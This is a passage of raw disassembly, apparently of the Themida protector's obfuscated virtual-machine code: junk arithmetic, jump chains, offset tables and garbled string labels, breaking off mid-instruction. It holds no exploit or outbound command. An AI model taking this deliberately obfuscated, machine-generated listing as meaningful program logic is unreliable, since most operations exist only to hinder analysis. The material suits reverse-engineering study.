loc_59865E: ; CODE XREF: Themida_:00594AF5j xchg esi, [esp] jmp loc_58D0C9 ; --------------------------------------------------------------------------- dw 10E9h dd 30FFFF2Dh, 86E630F4h, 86D1F6CCh, 0E9E686CCh, 0FFFFC5D1h dd 0FFFF91ECh, 5F34C2h, 12FF4Ch, 7C90EB94h, 2672h, 5F4070h dd 0F85E3441h, 213h, 2, 1, 2, 0F85E3441h, 5 dup(0) dd offset dword_59D944 dd offset dword_5A0E6C dd offset dword_5A0054 dd offset word_5A3C06 dd offset word_59D58E dd offset loc_5A7E52 dd offset dword_59C424 dd offset dword_5A7544 dd offset dword_5AF010 dd offset word_59F582 dd offset dword_5AE388 dd offset dword_5AF5BC dd offset word_5A8652 dd offset aPvhd ; "PVhd<" dd offset loc_5A7BF8 dd offset byte_5A29BF dd offset byte_5A52EB dd offset word_5AC00E dd offset byte_5A7CFB dd offset byte_59A133 dd offset byte_5A571F dd offset byte_5A2595 dd offset byte_599BF1 dd offset word_599456 dd offset dword_59B2A0 dd offset byte_5AF9DD dd offset byte_5A14B7 dd offset word_5A68CE dd offset byte_59947B dd offset loc_5A7C8A dd offset off_5AF3B3 dd offset byte_5A24F3 dd offset byte_59B85F dd offset dword_5A0820 dd offset word_5A6A62 dd offset byte_5A8213 dd offset word_5AC8A6 dd offset dword_59DC3C dd offset dword_5A2DA8 dd offset dword_5AE86C dd offset dword_5AAEA8 dd offset word_5A240A dd offset dword_59BF80 dd offset byte_5AC05B dd offset dword_5AB590 dd offset word_5AC326 dd offset dword_5AA864 dd offset byte_5AC93F dd offset byte_59F51B dd offset byte_59E043 dd offset word_5AB276 dd offset dword_5A4C0C dd offset byte_5AA355 dd offset byte_5AA197 dd offset word_59EBDA dd offset dword_5A2ACC dd offset word_5A17C2 dd offset byte_59EC17 dd offset byte_5A20FB dd offset word_5AE202 dd offset byte_5A69FB dd offset word_5AB93E dd offset byte_5A457B dd offset byte_5AF529 dd offset word_5ADC7E dd offset byte_59D3E7 dd offset word_5AD13E dd offset byte_5A98C5 dd offset dword_5AF9D0 dd offset word_5A6F32 dd offset byte_5A0A23 dd offset word_5A4886 dd offset loc_5A09BF dd offset dword_5AD448 dd offset byte_5A25BF dd offset byte_5AF7A5 dd offset loc_59E73C dd offset byte_59A74B dd offset byte_59A43D dd offset byte_59A9D1 dd offset byte_5A4293 dd offset byte_59F0DB dd offset word_5AE256 dd offset byte_59C673 dd offset loc_5A33E3 dd offset dword_5A3398 dd offset byte_5AF66D dd offset byte_5AEB5D dd offset dword_5A3820 dd offset byte_59B9F7 dd offset byte_5AC685 dd offset byte_5A8881 dd offset dword_5A3A08 dd offset loc_5994AE dd offset word_5A103A dd offset word_5A77BE dd offset word_5A52AE dd offset dword_59B540 dd offset byte_5A91AF dd offset dword_59CF34 dd offset word_599102 dd offset dword_5A69DC dd offset dword_5A16E4 dd offset dword_5ADC50 dd offset byte_59BFF3 dd offset byte_59EB1B dd offset dword_5AC0B4 dd offset word_5A23AA dd offset byte_5A30F9 dd offset byte_5ADD8D dd offset word_59A902 dd offset byte_5ACBBD dd offset dword_5A085C dd offset loc_59B39A dd offset byte_5A64F5 dd offset word_5A2B46 dd offset dword_5A9130 dd offset byte_59C85F dd offset byte_5AC267 dd offset byte_5A0D6D dd offset word_5A9676 dd offset byte_5A21B3 dd offset dword_5A1764 dd offset byte_5A9557 dd offset loc_5A8A63 dd offset word_5AD602 dd offset loc_5AABF1 dd offset loc_5AEF94 dd offset byte_59EC4D dd offset word_59A3C6 dd offset byte_5AE045 dd offset loc_5A4F1D dd offset dword_5A6C74 dd offset byte_5A7517 dd offset dword_5A6798 dd offset word_59D97E dd offset word_5A828E dd offset loc_5A1213 dd offset byte_5A8F21 dd offset dword_59EE04 dd offset byte_5A2679 dd offset dword_5A73EC dd offset byte_5A2BD1 dd offset loc_59D3CA dd offset word_59BC36 dd offset word_5A5756 dd offset word_59C62A dd offset aNsI ; "╜Ии┴" dd offset byte_5A6105 dd offset dword_59A5A4 dd offset aM0Szo ; "╛0ьИ╖o" dd offset word_5AFCA2 dd offset word_5A2FDA dd offset byte_5AB92D dd offset byte_5AFB99 dd offset byte_5AA46D dd offset byte_5ACD1B dd offset byte_5A6605 dd offset dword_59B364 dd offset byte_5AE7F7 dd offset dword_59B0E0 dd offset word_5ADA4A dd offset byte_59AFA9 dd offset word_5A6946 dd offset byte_5A21ED dd offset word_5AC06A dd offset dword_5A4FF4 ; --------------------------------------------------------------------------- loc_59895C: ; CODE XREF: Themida_:005E0AC0j ; Themida_:005E5A11j ... pusha pushf cld call $+5 pop edi sub edi, 7FB5523h mov eax, edi add edi, 7FB523Bh cmp eax, [edi+2Ch] jnz short loc_59897A jmp short loc_59898D ; --------------------------------------------------------------------------- loc_59897A: ; CODE XREF: Themida_:00598976j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_598989 ; --------------------------------------------------------------------------- loc_598984: ; CODE XREF: Themida_:0059898Bj add [edi+ecx*4+40h], eax dec ecx loc_598989: ; CODE XREF: Themida_:00598982j or ecx, ecx jnz short loc_598984 loc_59898D: ; CODE XREF: Themida_:00598978j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_59899A: ; CODE XREF: Themida_:005989A1j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_59899A loc_5989A3: ; CODE XREF: Themida_:00598D57j ; Themida_:00599054j ... lodsb push 4F87h mov [esp], edx jmp loc_5A41D5 ; --------------------------------------------------------------------------- loc_5989B1: ; CODE XREF: Themida_:005ABB86j pop ebp add ebp, 4 jmp loc_5AEAC1 ; --------------------------------------------------------------------------- loc_5989BD: ; CODE XREF: Themida_:0059BB15j pop edi add esi, 50BC705Dh sub esi, ecx jmp loc_59DFDF ; --------------------------------------------------------------------------- loc_5989CB: ; CODE XREF: Themida_:0059DD2Bj sub ebp, 36B5EE9h sub ebp, 36D6444Eh inc ebp dec ebp sub ebp, 1FFAA478h add ebx, ebp jmp loc_59DE4D ; --------------------------------------------------------------------------- dw 15Dh dd 42552DE8h, 0FF5D38E6h, 34FF2434h, 240C8B24h, 10134E9h db 0 ; --------------------------------------------------------------------------- loc_5989FD: ; CODE XREF: Themida_:005A1094j sub edx, esi add edx, 358C6F91h pop esi mov ecx, [esp] add esp, 4 xchg edx, [esp] pop esp mov ax, [esp] push ebx mov ebx, esp jmp loc_59E5F4 ; --------------------------------------------------------------------------- db 66h dd 9C242CD3h, 0FFFF7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_598A29: ; CODE XREF: Themida_:005A98A4j sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, 37E95517h jmp loc_5A75EE ; --------------------------------------------------------------------------- db 81h, 0F6h, 0B0h aYehrs? db 'yEHRИ?ц',0 dd 5AD70100h, 288068h, 24148900h, 1E0F5FBAh, 0F9E28127h dd 506A0815h, 7F3325B8h, 0E950563Ah, 116CCh ; --------------------------------------------------------------------------- loc_598A6C: ; CODE XREF: Themida_:loc_5AFCF1j push ebx mov ebx, 0BA8E706Fh xor esi, ebx pop ebx mov ebp, esi pop esi add edx, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 0D56DFFFFh xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 and eax, edx mov edx, [esp] push ebx jmp loc_5A6052 ; --------------------------------------------------------------------------- aABqsm db '─бbQИ╛п',0 align 2 loc_598AA6: ; CODE XREF: Themida_:loc_59B02Dj and edi, 35C641F7h js loc_59CF8B xor edi, 3ED48CA4h push edi pop esi mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add eax, 7DFA0BB8h sub eax, 4BF30CB1h sub eax, esi jmp loc_5A3B52 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 53000000h, 0ED64ECBBh, 0FFC38324h, 0F708E3C1h, 0D3F74BD3h dd 0C55EF381h, 0DE29998Bh, 57FF685Bh, 34890000h, 24048124h dd 46C44866h, 8324048Bh, 662D04C4h, 0FF46C448h, 0AAE92434h db 63h, 1, 0 ; --------------------------------------------------------------------------- loc_598B23: ; CODE XREF: Themida_:005A7623j add dword ptr [esp], 4 jmp loc_5AE9C1 ; --------------------------------------------------------------------------- dd 4E98358h, 5C240C87h, 0E9241C89h, 0A1B8h ; --------------------------------------------------------------------------- loc_598B3C: ; CODE XREF: Themida_:005A4E14j and cx, bp pop bp xor cx, 4ECEh jmp loc_59A223 ; --------------------------------------------------------------------------- loc_598B4B: ; CODE XREF: Themida_:0059F020j xchg ecx, [esp] pop esp sub bl, 27h jmp loc_5AAB57 ; --------------------------------------------------------------------------- db 68h dd 7D5Ah, 0AC06E9h, 87555B00h, 0D7F7243Ch, 8B243C87h, 0C481242Ch dd 4, 5C6C581h, 3EE91E4Bh db 0Ch, 1, 0 ; --------------------------------------------------------------------------- loc_598B7F: ; CODE XREF: Themida_:0059A3E2j mov ebp, 11DC795Fh dec ebp add ebp, 0CEE30DDh jmp loc_5A58E7 ; --------------------------------------------------------------------------- loc_598B90: ; CODE XREF: Themida_:005A9C3Cj xor eax, 0DDC1F8BEh add edx, 469A3F2Ch sub edx, eax sub edx, 469A3F2Ch jmp loc_598CF2 ; --------------------------------------------------------------------------- loc_598BA8: ; CODE XREF: Themida_:005A5022j add ecx, 4 xchg ecx, [esp] jmp loc_5A18C9 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 3EE2E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_598BBE: ; CODE XREF: Themida_:005AC93Aj sub ecx, 4 jmp loc_59CC20 ; --------------------------------------------------------------------------- loc_598BC6: ; CODE XREF: Themida_:005A8401j push edi pop edx mov edi, [esp] add esp, 4 loc_598BCE: ; CODE XREF: Themida_:005A3D26j ; Themida_:005A608Dj sub esp, 4 mov [esp], ebp jmp loc_5A0185 ; --------------------------------------------------------------------------- loc_598BD9: ; CODE XREF: Themida_:005A6A93j push ecx mov ecx, 29DC5918h xor ecx, 49473D62h sub esi, ecx pop ecx jmp loc_5A74AB ; --------------------------------------------------------------------------- loc_598BED: ; CODE XREF: Themida_:005A49EEj add eax, 0AF474029h jmp loc_5A908C ; --------------------------------------------------------------------------- loc_598BF7: ; CODE XREF: Themida_:005AF3E5j sub ebx, edi add ebx, 4A296107h pop edi jmp loc_59AEE3 ; --------------------------------------------------------------------------- aFs db 'fS╥а',0 dw 66F8h aFzfhOslj db '[fZfh',0Dh,'OИ╚├',0 align 4 loc_598C18: ; CODE XREF: Themida_:005A832Dj pop ebp pop dword ptr [esp] pop esp sub eax, ebx sub esp, 4 mov [esp], ebx mov ebx, 2FC919C8h add eax, ebx pop ebx sub esp, 4 jmp loc_5A7CE8 ; --------------------------------------------------------------------------- loc_598C38: ; CODE XREF: Themida_:005A4E8Bj sub esp, 4 mov [esp], edx mov dh, 0C9h sub dh, 0C5h add ch, dh mov edx, [esp] add esp, 4 xor al, ch jmp loc_5ADF00 ; --------------------------------------------------------------------------- loc_598C55: ; CODE XREF: Themida_:005A7F8Dj mov [esp], edi push esi push ebp jmp loc_5AF59D ; --------------------------------------------------------------------------- loc_598C5F: ; CODE XREF: Themida_:005A3105j jmp loc_5A91ED ; --------------------------------------------------------------------------- loc_598C64: ; CODE XREF: Themida_:005A5EECj or ch, al pop eax inc ch jmp loc_5AB4BF ; --------------------------------------------------------------------------- loc_598C6E: ; CODE XREF: Themida_:005AE567j inc ebp neg ebp xor ebp, 2D0917B7h mov edx, ebp pop ebp add edx, esi pop esi shl edx, 8 shl edx, 6 push ebp push esi push 145718F9h pop esi shl esi, 4 jp loc_5AFCF1 jmp loc_5A3684 ; --------------------------------------------------------------------------- db 80h, 0EEh, 0BAh db 2Ch, 4Eh, 59h ; --------------------------------------------------------------------------- loc_598C9F: ; CODE XREF: Themida_:005A7E4Dj sub edx, edi pop edi add edx, eax jmp loc_59F56E ; --------------------------------------------------------------------------- loc_598CA9: ; CODE XREF: Themida_:005A4453j ; Themida_:005A997Fj add esi, 1 jmp loc_5A12DA ; --------------------------------------------------------------------------- dd 0E924048Fh, 0A064h ; --------------------------------------------------------------------------- loc_598CBC: ; CODE XREF: Themida_:0059BC60j pop ebx sub ebx, 3C06FFCCh and ecx, ebx pop ebx push edi mov edi, 0E6C2764h jmp loc_5A5BEF ; --------------------------------------------------------------------------- loc_598CD1: ; CODE XREF: Themida_:005A31E6j push ebx mov ebx, 2F7B1708h shr ebx, 5 jmp loc_59E97B ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 2EDC104h, 162268h, 0C713E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_598CF2: ; CODE XREF: Themida_:00598BA3j pop eax xor eax, edx pop edx sub esp, 4 mov [esp], edx jmp loc_59B577 ; --------------------------------------------------------------------------- loc_598D01: ; CODE XREF: Themida_:005AE195j pop edi xor edi, 799216CEh sub ebx, 3E87882h sub ebx, 1C691E58h jmp loc_5A860A ; --------------------------------------------------------------------------- db 0E9h, 0Eh, 6 db 1, 0 ; --------------------------------------------------------------------------- loc_598D1E: ; CODE XREF: Themida_:0059D824j or ebx, 3573037Ah not ebx push edx mov edx, 58F5177h add ebx, edx pop edx sub edx, ebx pop ebx sub edx, esi add edx, 4D975D7Ch mov esi, [esp] add esp, 4 jmp loc_5A7FC2 ; --------------------------------------------------------------------------- loc_598D48: ; CODE XREF: Themida_:0059C625j push small 67C4h mov [esp], cx movzx cx, al push cx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dd 0BF57E689h, 404455D6h, 14546E9h db 0 ; --------------------------------------------------------------------------- loc_598D69: ; CODE XREF: Themida_:005AF35Bj xor edx, eax pop eax add edx, 8E189AC0h add esi, edx pop edx push esi push dword ptr [esp+4] jmp loc_5AF1E6 ; --------------------------------------------------------------------------- loc_598D7F: ; CODE XREF: Themida_:005A7D64j mov ebx, 4 add edx, 7FE030F0h jmp loc_5AFE2F ; --------------------------------------------------------------------------- loc_598D8F: ; CODE XREF: Themida_:0059A2E9j push dword ptr [esp] jmp loc_5AEDFC ; --------------------------------------------------------------------------- loc_598D97: ; CODE XREF: Themida_:0059AA88j jmp loc_5AEBEA ; --------------------------------------------------------------------------- loc_598D9C: ; CODE XREF: Themida_:loc_5A08A8j sub eax, 9E3AE294h jmp loc_5A6C1F ; --------------------------------------------------------------------------- loc_598DA6: ; CODE XREF: Themida_:005AD190j mov ah, bh jmp loc_59F10B ; --------------------------------------------------------------------------- aUSfy db 'аН',8,'ИДy',0 db 0 ; --------------------------------------------------------------------------- loc_598DB5: ; CODE XREF: Themida_:005AE28Dj mov edi, 79940867h dec edi dec edi push edx push ecx mov ecx, 683E6BB7h or ecx, 11BA3D55h add ecx, 4B6541CDh jnb loc_59D1BF not ecx inc ecx jp loc_5A7847 mov bl, 49h and al, 50h xor eax, 66C06079h xor eax, 2AFD73C9h add edx, eax jmp loc_59AD8E ; --------------------------------------------------------------------------- loc_598DF3: ; CODE XREF: Themida_:005AF0F0j shl edx, 1 push ebp mov ebp, esp push ebx mov ebx, 4 jmp loc_5AEBF7 ; --------------------------------------------------------------------------- loc_598E03: ; CODE XREF: Themida_:005AA1EDj push ebp jmp loc_5A762F ; --------------------------------------------------------------------------- loc_598E09: ; CODE XREF: Themida_:005A4788j add ch, 0DEh jmp loc_5A1CA2 ; --------------------------------------------------------------------------- loc_598E11: ; CODE XREF: Themida_:loc_59AA7Cj sub cl, 0D3h mov ah, cl pop ecx xor ah, bl xor bl, ah xor ah, bl not bl xchg bl, ah jmp loc_5AF08E ; --------------------------------------------------------------------------- dw 835Dh dd 148704C2h, 0BE565C24h, 327730E8h, 7F65CE81h, 0D6F70A1Dh dd 0D6F7DEF7h, 1100DE9h db 0 ; --------------------------------------------------------------------------- loc_598E45: ; CODE XREF: Themida_:0059F57Dj add edx, 4F197A6Ah sub edx, 0D14023Eh push edi mov edi, 324C0DB1h jmp loc_5A592A ; --------------------------------------------------------------------------- loc_598E5C: ; CODE XREF: Themida_:005AFB50j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5AF6E3 ; --------------------------------------------------------------------------- loc_598E77: ; CODE XREF: Themida_:005A0C66j sub bl, ch push ecx jmp loc_59A763 ; --------------------------------------------------------------------------- loc_598E7F: ; CODE XREF: Themida_:005A63FBj pop ebx add ecx, ebx jmp loc_5AC10C ; --------------------------------------------------------------------------- loc_598E87: ; CODE XREF: Themida_:00599DFFj push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] jmp loc_59D694 ; --------------------------------------------------------------------------- loc_598E99: ; CODE XREF: Themida_:005AB37Fj or eax, 3C8E1A1Bh jmp loc_59BA2E ; --------------------------------------------------------------------------- loc_598EA3: ; CODE XREF: Themida_:005AA36Fj add esp, 4 xchg ebx, [esp] mov esp, [esp] mov ax, [esp] push 3552h mov [esp], esi jmp loc_5A0C8F ; --------------------------------------------------------------------------- loc_598EBD: ; CODE XREF: Themida_:005A78ECj mov ecx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_599CDA ; --------------------------------------------------------------------------- loc_598EDA: ; CODE XREF: Themida_:005A0FEBj mov si, [esp] push esi mov esi, esp jmp loc_59C5FA ; --------------------------------------------------------------------------- loc_598EE6: ; CODE XREF: Themida_:005A1D93j dec eax shr eax, 8 sub esp, 4 mov [esp], ebp mov ebp, 0DEB6A363h add eax, ebp pop ebp add ecx, eax push dword ptr [esp] pop eax add esp, 4 mov edx, ecx pop ecx jmp loc_5A7062 ; --------------------------------------------------------------------------- loc_598F0C: ; CODE XREF: Themida_:005A8E3Dj push ecx mov ch, bl mov ah, ch pop ecx mov dh, ah pop eax mov bl, ch mov ch, dh pop edx not bl push 630Dh jmp loc_5AC0E2 ; --------------------------------------------------------------------------- loc_598F26: ; CODE XREF: Themida_:0059E21Bj not dword ptr [esp] jmp loc_5A8617 ; --------------------------------------------------------------------------- loc_598F2E: ; CODE XREF: Themida_:005AF769j mov cl, 0CEh mov dh, 0F9h add dh, cl pop ecx sub al, 0A5h jmp loc_5AF13B ; --------------------------------------------------------------------------- dd 8205B9BDh, 81D5F73Dh, 64BB39F5h, 228DE9A7h db 1, 0 ; --------------------------------------------------------------------------- loc_598F4E: ; CODE XREF: Themida_:005A2D86j add edx, 0B454A76Dh jmp loc_59B5FB ; --------------------------------------------------------------------------- db 5Ah, 81h, 0EFh dd 4, 5C243C87h, 54241489h, 8324148Bh, 0E95504C4h, 0AC54h ; --------------------------------------------------------------------------- loc_598F74: ; CODE XREF: Themida_:005A7AAFj xchg ecx, [esp] mov esp, [esp] jmp loc_5A1776 ; --------------------------------------------------------------------------- db 80h dd 0E9C06EC1h, 63F18008h, 688EE9h db 0 ; --------------------------------------------------------------------------- loc_598F8D: ; CODE XREF: Themida_:005999BAj push ebp mov ebp, 422935AAh not ebp or ebp, 7173159Eh inc ebp push edx mov edx, 0FDF7DFE4h xor ebp, edx pop edx mov ecx, ebp pop ebp add esi, ecx jmp loc_5A856B ; --------------------------------------------------------------------------- loc_598FAF: ; CODE XREF: Themida_:005A381Bj add ebx, edx push eax mov eax, 73EA7C1Dh sub ebx, eax push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx add esp, 4 sub esp, 4 mov [esp], ebp push esp pop ebp jmp loc_5A9977 ; --------------------------------------------------------------------------- loc_598FD7: ; CODE XREF: Themida_:005AAD3Dj or ebp, 28287460h or ebp, 16427A2Eh jmp loc_5A39E4 ; --------------------------------------------------------------------------- dd 68241489h, 2DA6h, 0E9240489h, 105C3h ; --------------------------------------------------------------------------- loc_598FF8: ; CODE XREF: Themida_:005A3F33j ; Themida_:005ACF51j add ecx, 10D323EEh jbe loc_5A7E9A sub esp, 4 jmp loc_5A1AB5 ; --------------------------------------------------------------------------- loc_59900C: ; CODE XREF: Themida_:005A4BF1j push eax push 6B4Bh mov [esp], ecx mov eax, [esp] add esp, 4 pop ecx jmp loc_5AF619 ; --------------------------------------------------------------------------- loc_599024: ; CODE XREF: Themida_:005AA8BFj push dword ptr [esp+4] pop eax jmp loc_5A7895 ; --------------------------------------------------------------------------- aZSlq db '┤<$Иl÷',0 align 2 loc_599036: ; CODE XREF: Themida_:005A0D40j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5A493E ; --------------------------------------------------------------------------- loc_599042: ; CODE XREF: Themida_:0059D3C5j pop dword ptr [esp] jmp loc_59B9CB ; --------------------------------------------------------------------------- loc_59904A: ; CODE XREF: Themida_:0059EAE9j xchg eax, [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_599059: ; CODE XREF: Themida_:0059CF51j jmp loc_5A9B14 ; --------------------------------------------------------------------------- loc_59905E: ; CODE XREF: Themida_:005A7FEAj dec ch sub ch, 1Eh add bl, ch pop ecx push dx mov dh, 0BEh jmp loc_5A1069 ; --------------------------------------------------------------------------- db 81h dd 4061E4C3h, 4796E97Fh db 1, 0 ; --------------------------------------------------------------------------- loc_59907A: ; CODE XREF: Themida_:005A3E25j mov [edi+eax*4], bl pop ebx mov ecx, [esp] add esp, 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_59908C: ; CODE XREF: Themida_:005A3619j push dword ptr [esp+4] jmp loc_5ADC23 ; --------------------------------------------------------------------------- loc_599095: ; CODE XREF: Themida_:0059EFB0j mov ebx, 78AA4F21h push ecx mov ecx, 65AE7025h add ebx, ecx pop ecx shr ebx, 2 sub ebx, 7E3C55B6h jmp loc_5A553D ; --------------------------------------------------------------------------- loc_5990B1: ; CODE XREF: Themida_:005A1EFFj xor esi, edi pop edi xor esi, 0DC9BD8D4h add ebp, esi mov esi, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_5AEA1E ; --------------------------------------------------------------------------- loc_5990D0: ; CODE XREF: Themida_:005A637Fj sub ch, 81h and dh, ch push dword ptr [esp] pop ecx add esp, 4 add dh, 0FFh push ebx mov bh, 9Bh add dh, 4Ch add dh, bh sub dh, 4Ch push dword ptr [esp] pop ebx add esp, 4 or dh, 8Ah sub dh, 0E9h jmp loc_5AFCF6 ; --------------------------------------------------------------------------- word_599102 dw 34FFh ; DATA XREF: Themida_:00598850o dd 2434FF24h, 8124148Bh, 4C4h, 0E6895600h, 10A11E9h db 0 ; --------------------------------------------------------------------------- loc_599119: ; CODE XREF: Themida_:0059FF52j pop eax sub esp, 4 jmp loc_59A160 ; --------------------------------------------------------------------------- loc_599122: ; CODE XREF: Themida_:loc_5A19B1j not ebx add ebx, 743D4F9Ah mov ecx, ebx jmp loc_59B2A8 ; --------------------------------------------------------------------------- loc_599131: ; CODE XREF: Themida_:005A139Ej ; Themida_:005AC262j sub edi, esi pop esi xor [esp+4], edi mov edi, [esp] jmp loc_599399 ; --------------------------------------------------------------------------- loc_599140: ; CODE XREF: Themida_:005AF486j pop ebp push 3214h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg ebp, edi xor [esp], edi xor edi, [esp] xor [esp], edi push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_5A3A87 ; --------------------------------------------------------------------------- loc_599189: ; CODE XREF: Themida_:0059CD7Bj pop eax and esi, 5EC80261h push esi push ebp mov esi, [esp] add esp, 4 pop ebp neg ebp push esi push ebp mov esi, [esp] add esp, 4 jmp loc_5ACB29 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4815B24h, 4, 4BD55h, 0EB010000h, 4EB815Dh, 87000000h dd 895C241Ch, 0BE562424h, 4, 4247401h, 0B9515F5Eh, 67C957CDh dd 0F06E1C1h, 38D28Bh, 26C18100h, 5081CA88h, 146D3E9h dd 89DF0100h, 379E68E5h, 1C890000h, 4BB24h, 0DD010000h dd 0D68CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59920E: ; CODE XREF: Themida_:005ABED2j dec edi jmp loc_59DB2F ; --------------------------------------------------------------------------- loc_599214: ; CODE XREF: Themida_:005AABA1j xor ecx, 3A726568h mov eax, ecx pop ecx add ebp, 36C34C96h sub ebp, eax sub ebp, 36C34C96h pop eax add ebp, edx push ebx mov ebx, 7911513Dh jmp loc_59C4E7 ; --------------------------------------------------------------------------- align 2 aCsr db 'ФИR(',0 align 10h loc_599240: ; CODE XREF: Themida_:005ABDCFj push esi mov esi, 3C0473C8h push ecx jmp loc_5AB542 ; --------------------------------------------------------------------------- dd 4246C01h, 2884E95Dh, 0EA800000h, 0DBC28036h, 0D428DCB4h dd 15FA3E9h db 0 ; --------------------------------------------------------------------------- loc_599265: ; CODE XREF: Themida_:005A401Aj mov [esp], edi jmp loc_5A757A ; --------------------------------------------------------------------------- loc_59926D: ; CODE XREF: Themida_:0059C7CEj ; Themida_:005AB02Cj pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp shl word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 0E0C1h dd 52840F04h, 5000054h, 91C755E4h, 74E9C701h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_599297: ; CODE XREF: Themida_:005A2076j shr ebx, 5 push 2A6Bh mov [esp], ebp mov ebp, 0A00B55D5h sub ebx, ebp mov ebp, [esp] add esp, 4 xor esi, ebx push dword ptr [esp] pop ebx add esp, 4 sub esi, 28511134h sub esp, 4 jmp loc_5AF1D3 ; --------------------------------------------------------------------------- loc_5992CC: ; CODE XREF: Themida_:005AC959j mov ecx, 3E0C2455h jmp loc_5A32FE ; --------------------------------------------------------------------------- loc_5992D6: ; CODE XREF: Themida_:0059AF0Bj ; Themida_:005A9243j add ebp, 5ED860DAh jmp loc_59E45C ; --------------------------------------------------------------------------- loc_5992E1: ; CODE XREF: Themida_:005A6D8Cj add edi, edx jmp loc_5AA03A ; --------------------------------------------------------------------------- loc_5992E8: ; CODE XREF: Themida_:005A767Cj pop ebx push ecx mov ch, 0F4h jmp loc_5A5FF0 ; --------------------------------------------------------------------------- loc_5992F1: ; CODE XREF: Themida_:005A49F9j push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_5A3828 ; --------------------------------------------------------------------------- loc_5992FE: ; CODE XREF: Themida_:0059D681j ; Themida_:005A9504j and ebp, 392F286Dh shl ebp, 1 xor ebp, 360E43BDh add ecx, ebp mov ebp, [esp] jmp loc_5ABB26 ; --------------------------------------------------------------------------- loc_599316: ; CODE XREF: Themida_:005A3F86j mov [esp], ebp push esi mov esi, 3C115087h or esi, 57D56248h jmp loc_5A28D2 ; --------------------------------------------------------------------------- loc_59932A: ; CODE XREF: Themida_:005A3569j dec ecx jmp loc_5A5985 ; --------------------------------------------------------------------------- loc_599330: ; CODE XREF: Themida_:0059D24Cj xor bh, 97h jmp loc_59F52D ; --------------------------------------------------------------------------- loc_599338: ; CODE XREF: Themida_:0059ADE7j add bh, 0BAh jmp loc_5A8DBD ; --------------------------------------------------------------------------- loc_599340: ; CODE XREF: Themida_:005AE657j movzx cx, al push 76F9h mov [esp], edx mov edx, esp push 4C7Fh mov [esp], ebx push 5A617ADBh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ebx, 5A617ADFh add edx, ebx jmp loc_5A9994 ; --------------------------------------------------------------------------- aLUPso1isW db '▀$$U╫▐S▌',8,'1КИэw',0 db 0 ; --------------------------------------------------------------------------- loc_59938B: ; CODE XREF: Themida_:005AF799j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_5AD050 ; --------------------------------------------------------------------------- loc_599399: ; CODE XREF: Themida_:0059913Bj add esp, 4 jmp loc_5A0256 ; --------------------------------------------------------------------------- loc_5993A1: ; CODE XREF: Themida_:005A14B2j mov cl, 0EFh jmp loc_5A70AD ; --------------------------------------------------------------------------- loc_5993A8: ; CODE XREF: Themida_:005AA52Cj add eax, 0FD32F44Bh mov ecx, eax pop eax push esi jmp loc_5A1550 ; --------------------------------------------------------------------------- loc_5993B6: ; CODE XREF: Themida_:loc_5A4B77j jmp loc_59C584 ; --------------------------------------------------------------------------- db 1 dd 22C781F7h, 5E297A06h, 2474FF57h, 48F5F04h, 8B665C24h dd 51502404h, 32EFE9h db 0 ; --------------------------------------------------------------------------- loc_5993D9: ; CODE XREF: Themida_:0059DDA3j pop esp add esi, 3D24349Bh push ecx mov ecx, 3C21517Bh sub esi, 7D8C6780h sub esi, ecx add esi, 7D8C6780h pop ecx add esi, eax jmp loc_5A9F5A ; --------------------------------------------------------------------------- loc_5993FC: ; CODE XREF: Themida_:005AA0B9j pop bp add dx, 25F8h add dx, bx jmp loc_5A2977 ; --------------------------------------------------------------------------- db 5Ah dd 5658C689h, 0E9240481h, 0E97DEE63h, 321h ; --------------------------------------------------------------------------- loc_59941C: ; CODE XREF: Themida_:0059CAB6j pop ecx jmp loc_59D95E ; --------------------------------------------------------------------------- loc_599422: ; CODE XREF: Themida_:005A2ED1j add edx, 0E04AF5ACh sub esi, edx pop edx add ebx, esi push dword ptr [esp] pop esi add esp, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] xor bl, al movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 0C683h dd 4AE4E904h db 2 dup(0) word_599456 dw 31ADh ; DATA XREF: Themida_:0059871Co dd 4EC81D8h, 89000000h, 0EC81240Ch, 4, 0BF243C89h, 215D47E3h dd 2BDDEF81h, 66E9154Ah db 4Fh, 2 dup(0) byte_59947B db 66h ; DATA XREF: Themida_:00598730o dd 0E9240C8Bh, 61CEh ; --------------------------------------------------------------------------- loc_599484: ; CODE XREF: Themida_:005AC140j push ebp mov ebp, 